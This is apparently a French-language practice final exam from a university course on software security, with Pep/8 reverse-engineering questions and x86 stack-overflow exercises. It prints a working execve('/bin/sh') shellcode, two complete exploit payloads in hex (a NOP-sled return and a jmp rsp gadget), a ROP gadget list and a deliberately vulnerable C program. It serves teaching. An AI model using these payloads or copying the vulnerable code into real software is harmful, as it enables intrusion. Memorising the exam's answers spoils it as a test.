EXAMEN FINAL DE PRATIQUE

INF600C — Sécurité des logiciels et exploitation de vulnérabilités

Philippe Pépos Petitclerc
Université du Québec à Montréal

Avril 2024 — Durée : 3h

0x40 Introduction

Aucun document n'est autorisé. L'usage de la calculatrice ou tout autre appareil électronique est interdit. **Inscrivez votre nom et code permanent sur la copie.**

— Nom :
— Code permanent :

L'examen comporte 16 questions.

La lisibilité et la clarté des réponses et des payloads sont inclues dans la notation.

Attention ⚠ : contrairement à un lab ou à un CTF, la méthode essai-erreur ne fonctionne pas en examen.

— Cherchez la simplicité pour minimiser le risque d'erreur.
— Ne passez pas trop de temps sur une question, quitte à revenir plus tard.
— Les questions marquées d'une étoile (★) ont zéro, une ou plusieurs bonne réponses.
— Les formats `\x00 - \xFF` dans l'examen sont interprétés.

0x401 Exemple

Lorsque vous êtes demandés d'expliquer un *payload*, vous devez faire une analyse similaire à la suivante. Dans l'exemple qui suit, on présente un *payload* qui exploite un débordement de tampon sur la pile pour écraser l'adresse de retour de la fonction en la remplaçant par l'adresse de `write`. Les octets d'ajustement (*padding*) et les arguments à `write` y sont également détaillés. On note le décalage dans le *payload* (octets à gauche) et où on tente de les positionner (EBP sauvegardé, adresse de retour, remplissage) et le rôle de chaque morceau.

```
0x00:           'AAAA' Remplir le tampon
0x04:           'AAAA' ...
0x08:           'AAAA' EBP sauvegardé
0x0c:       0x8077060 adresse de write
0x10:           'BBBB' adresse de retour de write
0x14:              0x1 premier argument de write (fd)
0x18:       0x80b5017 deuxième argument de write (buf)
0x1c:              0x4 troisième argument de write (count)
```

0x41 Généralités

Question 1 (10 points) : ★ Quels outils parmi les suivants reponsent sur l'appel système `ptrace` ?

☐ `gdb`
☐ `hexdump`
☐ `ln`
☐ `ltrace`
☐ `objdump`
☐ `strace`
☐ `strings`

Question 2 (10 points) : ★ Gru tente d'exploiter un programme et obtient le résultat suivant. Cochez les affirmations vraies par rapport au programme.

```
1 *** stack smashing detected ***: terminated
2 Aborted (core dumped)
```

☐ Le programme est compilé avec la fortification du code source (*_FORTIFY_SOURCE*).
☐ Le programme est compilé avec les témoins de pile (*Canary*).
☐ Le programme est compilé avec les témoins de tas (*Heap-Canary*).
☐ Le programme a une vulnérabilité de dépassement de tampon sur la pile.
☐ Le programme a une vulnérabilité de dépassement de tampon dans le tas.

0x42 Mot

Soit le programme binaire Pep8 suivant.

```
0 31 00 1E C8 00 00 D9 00 1F B8 00 FF 0A 00 15 55
1 00 16 04 00 00 00 41 42 43 44 45 46 47 48 00 00
2 zz
```

Question 3 (10 points) : Qu'affiche le programme lorsqu'on lui donne en entrée « `0 1 2 255` » ?

.....

Question 4 (10 points) : Qu'elle entrée faut-il fournir pour que le programme affiche « `FLAG` » ?

.....

0x43 Poke

Soit le listing du programme *Poke* suivant.

```
1  ------------------------------------------------------------------------------
2        Object
3  Addr  code   Symbol   Mnemon  Operand     Comment
4  ------------------------------------------------------------------------------
5  0000  C00000 main:    LDA     0,i
6  0003  C80000          LDX     0,i
7  0006  16004C          CALL    lire
8  0009  16006B          CALL    out
9
10               ; variables globales
11 000C  736563 disc:    .ASCII  "securite par decalage!"
12       757269
13       746520
14       706172
15       206465
16       63616C
17       616765
18       21
19 0022  0000            .WORD   0
20 0024  00     in:      .BYTE   0
21 0025  43     tab:     .BYTE   'C'          ; tableau de  caractres
22 0026  4C              .BYTE   'L'
23 0027  41              .BYTE   'A'
24 0028  43              .BYTE   'C'
25 0029  0000   n:       .WORD   0            ; index
26 002B  494E46 secret1: .ASCII  "INF600C{J'ai hate aux vacances.}\x00"
27       363030
28       437B4A
29       276169
30       206861
31       746520
32       617578
33       207661
34       63616E
35       636573
36       2E7D00
37
38 004C  C80000 lire:    LDX     0,i
39 004F  310029          DECI    n,d
40 0052  C90029          LDX     n,d
41 0055  B80003          CPX     3,i
42 0058  10006A          BRGT    liref
43 005B  D50025          LDBYTEA tab,x
44 005E  490024          CHARI   in,d
45 0061  D10024          LDBYTEA in,d
46 0064  F50025          STBYTEA tab,x
47 0067  04004C          BR      lire
48 006A  58     liref:   RET0
49
50 006B  410025 out:     STRO    tab,d
51 006E  00              STOP
52
53 006F  494E46 secret2: .ASCII  "INF600C{Les vacances c'est bien, 600C c'est mieux.}\x00"
54       363030
55       437B4C
56       ...
57       00
58 00A3                  .END
```

Question 5 (10 points) : Le programme poke affiche « `FLAG` » lorsqu'on lui fourni comme entrée « `0 F 3 G 4` ». Que doit-on fournir comme entrée au programme pour qu'il affiche la chaîne étiquetée `secret1` ?

.....

Question 6 (10 points) : Le programme affiche la chaîne etiquetée `secret2` lorsqu'on lui donne comme entrée « `-4 A -2 o -26 ! 5` ». Détaillez le fonctionnement de cet exploit.

.....

.....

.....

.....

.....

.....

.....

.....

.....

.....

0x44 Quiz

Soit le programme quiz suivant.

Listing 1 – Protections mémoires activés

```
CANARY    : désactivé
FORTIFY   : désactivé
NX        : désactivé
PIE       : désactivé
ASLR      : désactivé
```

Listing 2 – Code source du programme quiz

```
#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include <stdlib.h>
void print_flag(char *path) {
        char cmd[50] = "/bin/cat ";
        strcat(cmd, path);
        system(cmd);
}
void quiz(void) {
        volatile int q1 = 0;
        volatile char buf[8];
        volatile char user[8] = "";

        // L'été c'est pas pour les maths
        // puts("973465 - 973507 = ?");
        // fgets(buf, 8, stdin);
        // q1 = atoi(buf);

        puts("Votre nom: ");
        fgets(user, 48, stdin);

        if (q1 == 0x1337) {
                print_flag("flag1.txt");
        } else if (q1 == 0x1337 && q1 == 0xdead) { // Fonctionnalité retirée pour l'été
                print_flag("flag2.txt");
        }
}
int main(void) {
        quiz();
}
```

Listing 3 – Fonction quiz désassemblée

```
0x080491fa      push ebp
0x080491fb      mov ebp, esp
0x080491fd      sub esp, 0x28
0x08049200      mov dword [ebp - 0xc], 0
0x08049207      mov dword [ebp - 0x1c], 0
0x0804920e      mov dword [ebp - 0x18], 0
0x08049215      sub esp, 0xc
0x08049218      push str.Votre_nom:_                    ; 0x804a010 ; "Votre nom: "
0x0804921d      call sym.imp.puts
0x08049222      add esp, 0x10
0x08049225      mov eax, dword [obj.stdin]              ; obj.stdin_GLIBC_2.0
0x0804922a      sub esp, 4
0x0804922d      push eax
0x0804922e      push 0x30                               ; 1'0' ; 48
0x08049230      lea eax, [ebp - 0x1c]
0x08049233      push eax
0x08049234      call sym.imp.fgets
0x08049239      add esp, 0x10
0x0804923c      mov eax, dword [ebp - 0xc]
0x0804923f      cmp eax, 0x1337
0x08049244      jne 0x8049258
0x08049246      sub esp, 0xc
0x08049249      push str.flag1.txt                      ; 0x804a01c ; "flag1.txt"
0x0804924e      call sym.print_flag
0x08049253      add esp, 0x10
0x08049256      jmp 0x804927c
0x08049258      mov eax, dword [ebp - 0xc]
0x0804925b      cmp eax, 0x1337
0x08049260      jne 0x804927c
0x08049262      mov eax, dword [ebp - 0xc]
0x08049265      cmp eax, 0xdead
0x0804926a      jne 0x804927c
0x0804926c      sub esp, 0xc
0x0804926f      push str.flag2.txt                      ; 0x804a026 ; "flag2.txt"
0x08049274      call sym.print_flag
0x08049279      add esp, 0x10
0x0804927c      nop
0x0804927d      leave
0x0804927e      ret
```

Question 7 (10 points) : Parmi les entrées suivantes, laquelle fera afficher le contenu du fichier `flag1.txt`

- ☐ `AAAAAAAABBBBBBBB\x13\x37`
- ☐ `AAAAAAAABBBBBBBB\x37\x13`
- ☐ `AAAAAAAABBBBBBBB\x00\x00\x13\x37`
- ☐ `AAAAAAAABBBBBBBB\x00\x00\x37\x13`

Question 8 (10 points) : ★ Parmi les mécanismes de protection suivant, lesquel(s) protégeraient le programme contre cet exploit ?

- ☐ Exécutable indépendant de la position (*Position Independant Executable, PIE*)
- ☐ Distribution aléatoire de l'espace d'adressage (*Address Space Layout Randomization, ASLR*)
- ☐ Fortification de code source (*Fortify Source*)
- ☐ Bit de non-exécution, NX
- ☐ Canary (*Stack Canary* ou *Stack Cookie*)

Question 9 (10 points) : Donnez et détaillez un payload qui affichera le contenu du fichier `flag2.txt`.

.....

.....

.....

.....

.....

.....

.....

.....

.....

.....

Question 10 (10 points) : ★ Parmi les mécanismes de protection suivant, lesquel(s) protégeraient le programme contre cet exploit ?

☐ Exécutable indépendant de la position (*Position Independant Executable, PIE*)
☐ Distribution aléatoire de l'espace d'adressage (*Address Space Layout Randomization, ASLR*)
☐ Fortification de code source (*Fortify Source*)
☐ Bit de non-exécution, NX
☐ Canary (*Stack Canary* ou *Stack Cookie*)

0x45 Amusant

Soient la fonction `fun`, les sections mémoires, le *shellcode* et l'exploit suivants.

Listing 4 – Protections mémoires activés

```
CANARY    : désactivé
FORTIFY   : désactivé
NX        : désactivé
PIE       : désactivé
ASLR      : désactivé
```

Listing 5 – "Fonction fun désassemblée"

```
0x00401135      push rbp
0x00401136      mov rbp, rsp
0x00401139      sub rsp, 0x10
0x0040113d      mov qword [rbp - 8], 0
0x00401145      mov rdx, qword [obj.stdin]                  ; obj.stdin_GLIBC_2.2.5
0x0040114c      lea rax, [rbp - 8]
0x00401150      mov esi, 0xc8                               ; 200
0x00401155      mov rdi, rax
0x00401158      call sym.imp.fgets
0x0040115d      nop
0x0040115e      leave
0x0040115f      ret
```

Listing 6 – "Sections mémoires du programme"

```
Start              End                Perm      Name
0x00400000         0x00401000         r--p      /prog/pwn/prog
0x00401000         0x00402000         r-xp      /prog/pwn/prog
0x00402000         0x00403000         r--p      /prog/pwn/prog
0x00403000         0x00404000         r--p      /prog/pwn/prog
0x00404000         0x00405000         rw-p      /prog/pwn/prog
0x00007ffff7daa000 0x00007ffff7dac000 rw-p      mapped
0x00007ffff7dce000 0x00007ffff7f28000 r-xp      /usr/lib/libc.so.6
0x00007ffff7f28000 0x00007ffff7f84000 r--p      /usr/lib/libc.so.6
0x00007ffff7f84000 0x00007ffff7f86000 rw-p      /usr/lib/libc.so.6
0x00007ffff7f86000 0x00007ffff7f95000 rw-p      mapped
0x00007ffff7fc4000 0x00007ffff7fc8000 r--p      [vvar]
0x00007ffff7fc8000 0x00007ffff7fca000 r-xp      [vdso]
0x00007ffff7fca000 0x00007ffff7fcb000 r--p      /usr/lib/ld-linux-x86-64.so.2
0x00007ffff7fcb000 0x00007ffff7ff1000 r-xp      /usr/lib/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 rw-p      /usr/lib/ld-linux-x86-64.so.2
0x00007fffffffdd000 0x00007ffffffff000 rwxp     [stack]
0xffffffffff600000 0xffffffffff601000 --xp      [vsyscall]
```

Listing 7 – "Shellcode en vue hexadécimale"

```
00000000  6a 68 48 b8 2f 62 69 6e  2f 2f 2f 73 50 48 89 e7  |jhH./bin///sPH..|
00000010  68 72 69 01 01 81 34 24  01 01 01 01 31 f6 56 6a  |hri...4$....1.Vj|
00000020  08 5e 48 01 e6 56 48 89  e6 31 d2 6a 3b 58 0f 05  |.^H..VH..1.j;X..|
00000030
```

Listing 8 – "Exploit en vue hexadécimale"

```
00000000  41 41 41 41 41 41 41 41  42 42 42 42 42 42 42 42  |AAAAAAAABBBBBBBB|
00000010  3a db ff ff ff 7f 00 00  90 90 90 90 90 90 90 90  |:...............|
00000020  90 90 90 90 90 90 90 90  90 90 90 90 6a 68 48 b8  |............jhH.|
00000030  2f 62 69 6e 2f 2f 2f 73  50 48 89 e7 68 72 69 01  |/bin///sPH..hri.|
00000040  01 81 34 24 01 01 01 01  31 f6 56 6a 08 5e 48 01  |..4$....1.Vj.^H.|
00000050  e6 56 48 89 e6 31 d2 6a  3b 58 0f 05              |.VH..1.j;X..|
0000005c
```

Question 11 (10 points) : Détaillez l'exploit et expliquez son comportement.

Question 12 (10 points) : ★ Cochez les protections logicielles qui empêcheraient cet exploit de fonctionner.

☐ Bit de non-exécution, NX
☐ Exécutable indépendant de la position (*Position Independant Executable, PIE*)
☐ Distribution aléatoire de l'espace d'adressage (*Address Space Layout Randomization, ASLR*)
☐ ASLR et PIE ensembles

Soient les listes de gadgets et d'adresses ainsi que le second exploit suivants.

Listing 9 – "Gadgets intéressants"

```
0x000000000040109e : jmp rax
0x000000000040112a : jmp rsp
0x000000000040110d : pop rbp ; ret
0x000000000040112c : pop rdi ; pop r13 ; ret
0x0000000000401130 : pop rsi ; ret
0x00007ffff7de8863 : pop rax ; ret
0x00007ffff7dfa062 : pop rdx ; ret
```

Listing 10 – "Adresses de fonctions utiles"

```
0x7ffff7ea2630 <open>
0x7ffff7ea2920 <read>
0x7ffff7ea29c0 <write>
```

Listing 11 – "Exploit en vue hexadécimale"

```
00000000  41 41 41 41 41 41 41 41  42 42 42 42 42 42 42 42  |AAAAAAAABBBBBBBB|
00000010  2a 11 40 00 00 00 00 00  6a 68 48 b8 2f 62 69 6e  |*.@.....jhH./bin|
00000020  2f 2f 2f 73 50 48 89 e7  68 72 69 01 01 81 34 24  |///sPH..hri...4$|
00000030  01 01 01 01 31 f6 56 6a  08 5e 48 01 e6 56 48 89  |....1.Vj.^H..VH.|
00000040  e6 31 d2 6a 3b 58 0f 05                           |.1.j;X..|
00000048
```

Question 13 (10 points) : Détaillez le deuxième exploit et expliquez son comportement.

.....

.....

.....

.....

.....

.....

Question 14 (10 points) : Expliquez pourquoi le second exploit n'inclut pas de toboggan *NOP*.

.....

.....

.....

.....

Question 15 (10 points) : ★ Cochez les protections logicielles qui empêcheraient ce second exploit de fonctionner.

☐ Bit de non-exécution, NX

☐ Exécutable indépendant de la position (*Position Independant Executable, PIE*)

☐ Distribution aléatoire de l'espace d'adressage (*Address Space Layout Randomization, ASLR*)

☐ ASLR et PIE ensembles

Question 16 (10 points) : Proposez et détaillez une chaîne ROP qui écrit le contenu du fichier `flag.txt` sur la sortie standard. Pour vous aider, voici la version `C`.

```
1 open("flag.txt", 0);
2 read(3, dst, 1024);
3 write(1, dst, 1024);
```

Vous devrez préalablement positionner la chaîne « `flag.txt` » quelque part en mémoire ainsi que vous choisir un emplacement pour le tampon destination de la lecture et source de l'écriture. À titre de rappel, les trois premiers arguments des fonctions en 64 bits sont passés par les registres `rdi`, `rsi` et `rdx` respectivement.

0x46 Extraits de pages des manuels de référence en ligne

`char *fgets(char *s, int size, FILE *stream);` Lit au plus *size* - 1 caractères depuis stream et les place dans le tampon pointé par *s*. La lecture s'arrête après EOF ou un retour-chariot. Si un retour-chariot (newline) est lu, il est placé dans le tampon. Un octet nul « `\0` » est placé à la fin de la ligne. Renvoie le pointeur *s* si elle réussit, et NULL en cas d'erreur, ou si la fin de fichier est atteinte avant d'avoir pu lire au moins un caractère.

`int open(const char *pathname, int flags);` renvoie un descripteur de fichier, un petit entier positif ou nul utilisable par des appels système ultérieurs.

`int puts(const char *s);` Écrit la chaîne de caractères *s* dans *stdout*, sans écrire le « \0 » final. Revoie en nombre non négatif si elle réussit et EOF si elle échoue.

`ssize_t read(int fd, void *buf, size_t count);` lit jusqu'à `count` octets depuis le descripteur de fichier `fd` dans le tampon pointé par `buf`.

`ssize_t write(int fd, const void *buf, size_t count);` écrit jusqu'à `count` octets dans le fichier associé au descripteur `fd` depuis le tampon pointé par `buf`.

0x47 Annexe (détachable)

0x471 39 instructions Pep/8

Spécificateur Binaire	Hex	Instruction	Signification	Modes d'adressage	Conditions affectées
00000000	00	STOP	Arrêt de l'exécution du programme		
00000001	01	RETTR	Retour d'interruption		
00000010	02	MOVSPA	Placer SP dans A		
00000011	03	MOVFLGA	Placer NZVC dans A		
0000010a	04, 05	BR	Branchement inconditionnel	i,x	
0000011a	06, 07	BRLE	Branchement si inférieur ou égal	i,x	
0000100a	08, 09	BRLT	Branchement si inférieur	i,x	
0000101a	0A, 0B	BREQ	Branchement si égal	i,x	
0000110a	0C, 0D	BRNE	Branchement si non égal	i,x	
0000111a	0E, 0F	BRGE	Branchement si supérieur ou égal	i,x	
0001000a	10, 11	BRGT	Branchement si supérieur	i,x	
0001001a	12, 13	BRV	Branchement si débordement	i,x	
0001010a	14, 15	BRC	Branchement si retenue	i,x	
0001011a	16, 17	CALL	Appel de sous-programme	i,x	
0001100r	18, 19	NOTr	NON bit-à-bit du registre		NZ
0001101r	1A, 1B	NEGr	Opposé du registre		NZV
0001110r	1C, 1D	ASLr	Décalage arithmétique à gauche du registre		NZVC
0001111r	1E, 1F	ASRr	Décalage arithmétique à droite du registre		NZC
0010000r	20, 21	ROLr	Décalage cyclique à gauche du registre		C
0010001r	22, 23	RORr	Décalage cyclique à droite du registre		C
001001nn	24–27	NOPn	Interruption unaire pas d'opération		
00101aaa	28–2F	NOP	Interruption non unaire pas d'opération	i	
00110aaa	30–37	DECI	Interruption d'entrée décimale	d,n,s,sf,x,sx,sxf	NZV
00111aaa	38–3F	DECO	Interruption de sortie décimale	i,d,n,s,sf,x,sx,sxf	
01000aaa	40–47	STRO	Interruption de sortie de chaîne	d,n,sf	
01001aaa	48–4F	CHARI	Lecture caractère	d,n,s,sf,x,sx,sxf	
01010aaa	50–57	CHARO	Sortie caractère	i,d,n,s,sf,x,sx,sxf	
01011nnn	58–5F	RETn	Retour d'un appel avec n octets locaux		
01100aaa	60–67	ADDSP	Addition au pointeur de pile (SP)	i,d,n,s,sf,x,sx,sxf	NZVC
01101aaa	68–6F	SUBSP	Soustraction au pointeur de pile (SP)	i,d,n,s,sf,x,sx,sxf	NZVC
0111raaa	70–7F	ADDr	Addition au registre	i,d,n,s,sf,x,sx,sxf	NZVC
1000raaa	80–8F	SUBr	Soustraction au registre	i,d,n,s,sf,x,sx,sxf	NZVC
1001raaa	90–9F	ANDr	ET bit-à-bit du registre	i,d,n,s,sf,x,sx,sxf	NZ
1010raaa	A0–AF	ORr	OU bit-à-bit du registre	i,d,n,s,sf,x,sx,sxf	NZ
1011raaa	B0–BF	CPr	Comparer au registre	i,d,n,s,sf,x,sx,sxf	NZVC
1100raaa	C0–CF	LDr	Placer 2 octets (un mot) dans registre	i,d,n,s,sf,x,sx,sxf	NZ
1101raaa	D0–DF	LDBYTEr	Placer octet dans registre (bits 0-7)	i,d,n,s,sf,x,sx,sxf	NZ
1110raaa	E0–EF	STr	Ranger registre dans 1 mot	d,n,s,sf,x,sx,sxf	
1111raaa	F0–FF	STBYTEr	Ranger registre (bits 0-7) dans 1 octet	d,n,s,sf,x,sx,sxf	

0x472 8 directives Pep/8

Directive	Signification
.BYTE	Réserve 1 octet mémoire avec valeur initiale.
.WORD	Réserve 1 mot mémoire avec valeur initiale.
.BLOCK	Réserve un nombre d'octets mis à zéro.
.ASCII	Réserve l'espace mémoire pour une chaîne de caractères (ex : "Chaîne").
.ADDRSS	Réserve 1 mot mémoire pour un pointeur.
.EQUATE	Attribue une valeur à une étiquette.
.END	Directive obligatoire de fin d'assemblage qui doit être à la fin du code.
.BURN	Le programme se terminera à l'adresse spécifiée par l'opérande. Ce qui suit .BURN est écrit en ROM.

0x473 8 modes d'adressage Pep/8

Mode	aaa	a	Lettres	Opérande
Immédiat	000	0	i	Spec
Direct	001		d	mem[Spec]
Indirect	010		n	mem[mem[Spec]]
Sur la pile	011		s	mem[PP+Spec]]
Indirect sur la pile	100		sf	mem[mem[PP+Spec]
Indexé	101	1	x	mem[Spec + X]
Indexé sur la pile	110		sx	mem[PP+Spec+X]]
Indirect indexé sur la pile	111		sxf	mem[mem[PP+Spec]+X]

0x474 9 registres Pep/8

Symbole	r	Description	Taille
N		Négatif	1 bit
Z		Nul (Zero)	1 bit
V		Débordement (Overflow)	1 bit
C		Retenue (Carry)	1 bit
A	0	Accumulateur	2 octets (un mot)
X	1	Registre d'index	2 octets (un mot)
PP		Pointeur de pile (SP)	2 octets (un mot)
CO		Compteur ordinal (PC)	2 octets (un mot)
IR{		Spécificateur d'instruction	1 octet
Spec		Spécificateur d'opérande	2 octets (un mot)

0x475 Table ASCII

Dec	Hex		Dec	Hex		Dec	Hex		Dec	Hex	
0	00	NUL '\0'	32	20	Espace ' '	64	40	@	96	60	‘
1	01	SOH (début d'en-tête)	33	21	!	65	41	A	97	61	a
2	02	STX (début de texte)	34	22	”	66	42	B	98	62	b
3	03	ETX (fin de texte)	35	23	#	67	43	C	99	63	c
4	04	EOT (fin de transmission)	36	24	$	68	44	D	100	64	d
5	05	ENQ (demande)	37	25	%	69	45	E	101	65	e
6	06	ACK (accusé de réception)	38	26	&	70	46	F	102	66	f
7	07	BEL '\a' (sonnerie)	39	27	’	71	47	G	103	67	g
8	08	BS '\b' (espace arrière)	40	28	(	72	48	H	104	68	h
9	09	HT '\t' (tab. horizontale)	41	29	)	73	49	I	105	69	i
10	0A	LF '\n' (changement ligne)	42	2A	*	74	4A	J	106	6A	j
11	0B	VT '\v' (tab. verticale)	43	2B	+	75	4B	K	107	6B	k
12	0C	FF '\f' (saut de page)	44	2C	,	76	4C	L	108	6C	l
13	0D	CR '\r' (retour chariot)	45	2D	-	77	4D	M	109	6D	m
14	0E	SO (hors code)	46	2E	.	78	4E	N	110	6E	n
15	0F	SI (en code)	47	2F	/	79	4F	O	111	6F	o
16	10	DLE (échap. transmission)	48	30	0	80	50	P	112	70	p
17	11	DC1 (commande dispositif 1)	49	31	1	81	51	Q	113	71	q
18	12	DC2 (commande dispositif 2)	50	32	2	82	52	R	114	72	r
19	13	DC3 (commande dispositif 3)	51	33	3	83	53	S	115	73	s
20	14	DC4 (commande dispositif 4)	52	34	4	84	54	T	116	74	t
21	15	NAK (accusé réception nég.)	53	35	5	85	55	U	117	75	u
22	16	SYN (synchronisation)	54	36	6	86	56	V	118	76	v
23	17	ETB (fin bloc transmission)	55	37	7	87	57	W	119	77	w
24	18	CAN (annulation)	56	38	8	88	58	X	120	78	x
25	19	EM (fin de support)	57	39	9	89	59	Y	121	79	y
26	1A	SUB (substitution)	58	3A	:	90	5A	Z	122	7A	z
27	1B	ESC (échappement)	59	3B	;	91	5B	[	123	7B	{
28	1C	FS (séparateur fichiers)	60	3C	<	92	5C	\	124	7C	|
29	1D	GS (séparateur de groupes)	61	3D	=	93	5D	]	125	7D	}
30	1E	RS (sép. enregistrements)	62	3E	>	94	5E	^	126	7E	~
31	1F	US (sép. de sous-articles)	63	3F	?	95	5F	_	127	7F	DEL